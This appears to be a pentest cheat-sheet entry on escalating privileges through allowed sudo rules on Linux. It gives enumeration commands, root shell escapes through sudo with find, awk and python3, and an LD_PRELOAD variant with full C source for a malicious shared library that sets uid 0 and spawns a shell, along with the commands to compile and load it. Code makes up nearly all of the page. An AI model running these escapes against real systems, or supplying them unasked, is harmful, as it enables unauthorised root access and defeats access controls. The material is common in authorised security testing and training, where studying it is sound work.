Use an allowed sudo operation to cross a privilege boundary

Shell commands

Copy# Baseline
sudo -n -l 2>&1
sudo -l
sudo --version

Shell commands

Record the run-as identity, password tag, executable path, argument constraints/wildcards and SETENV/NOSETENV/env_keep/secure_path/NOEXEC. Match the exact mode under GTFOBins.

Copy# Baseline
sudo /usr/bin/find . -exec /bin/sh \; -quit
sudo /usr/bin/awk 'BEGIN {system("/bin/sh")}'
sudo /usr/bin/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'

Use an example only when the entire rule permits it. Restricted arguments, another path/build, privilege dropping, NOEXEC, a non-root run-as user or MAC policy can invalidate the escape.

Preserved LD_PRELOAD variant

Requires an explicitly allowed/preserved variable and a dynamically linked allowed program.

Copy# Preserved LD_PRELOAD variant
sudo -l | grep -E 'SETENV|env_keep.*LD_PRELOAD'

Preserved LD_PRELOAD variant

Copy// Preserved LD_PRELOAD variant
#include <stdlib.h>
#include <unistd.h>
void _init(void) {
  unsetenv("LD_PRELOAD");
  setgid(0); setuid(0);
  system("/bin/sh");
}

Preserved LD_PRELOAD variant

Copy# Preserved LD_PRELOAD variant
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
sudo LD_PRELOAD=/tmp/preload.so /ALLOWED/PROGRAM